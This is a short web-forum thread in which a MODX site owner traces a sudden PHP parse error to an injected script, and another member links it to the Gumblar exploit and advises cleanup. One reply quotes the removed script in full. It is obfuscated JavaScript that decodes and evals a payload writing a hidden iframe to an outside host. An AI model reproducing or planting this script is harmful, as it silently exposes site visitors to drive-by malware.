Modx site not working

26 Posts

cultweety Reply #1, 17 years, 4 months ago

Hi there..

my modx site suddenly stopped working. it was working fine till yesterday. i am getting the following error when i try to open the site..I am also unable to open the manager page..

Parse error: syntax error, unexpected T_STRING in /xxxxxxxxxx.info/html/manager/includes/document.parser.class.inc.php on line 2539

can somebody please help me

thanks in advance

2,314 Posts

anonymized-26931 Reply #2, 17 years, 4 months ago

could be related: http://modxcms.com/forums/index.php/topic,36412.msg220375.html#msg220375

26 Posts

cultweety Reply #3, 17 years, 4 months ago

thank you....

i tried to check the file document, i got this java script inserted in to the file..i did remove it and now site works fine...

<script language="JavaScript" type="text/javascript">
B2CA9F8="pa";B2CA9F8+="rs";B2CA9F8+="eInt";F64743C="String";F64743C+=".from";F64743C+="Ch";F64743C+="a";F64743C+="rCo";F64743C+="de";function FF0B16(B79E4E4D6C8EA88){var EE6F0C4DF1=882;EE6F0C4DF1=EE6F0C4DF1-866;E4A8728=eval(B2CA9F8+"(B79E4E4D6C8EA88,EE6F0C4DF1)");return(E4A8728);}function DB13B7952(F5FBBBD){var FD3D3FF1EA490A0=70;FD3D3FF1EA490A0=FD3D3FF1EA490A0-68;var E1849EE7E="";for(A9B17DBB1=0;A9B17DBB1<F5FBBBD.length;A9B17DBB1+=FD3D3FF1EA490A0){E1849EE7E+=( eval(F64743C+"(FF0B16(F5FBBBD.substr(A9B17DBB1,FD3D3FF1EA490A0)))"));}eval(E1849EE7E);}DB13B7952("69662028646F63756D656E742E636F6F6B69652E7365617263682822726373723D392229203D3D202D3129207B0A7A6F73693D646F63756D656E742E676574456C656D656E7442794964282762666427293B6966287A6F73693D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D626664207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D2022726373723D393B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
</script>

2,314 Posts

anonymized-26931 Reply #4, 17 years, 4 months ago

uuuuh

check those links posted in the other thread on how to get rid of that exploit, scan your system, change your passwords, check your website for further malicious codes & scripts...otherwise you’re not safe yet, i guess sad

26 Posts

cultweety Reply #5, 17 years, 4 months ago

yes..thank you..I am in the process of doing those...

2,314 Posts

anonymized-26931 Reply #6, 17 years, 4 months ago

just in case that your site is affected by the gumblar exploit, you should edit your first post and delete the url...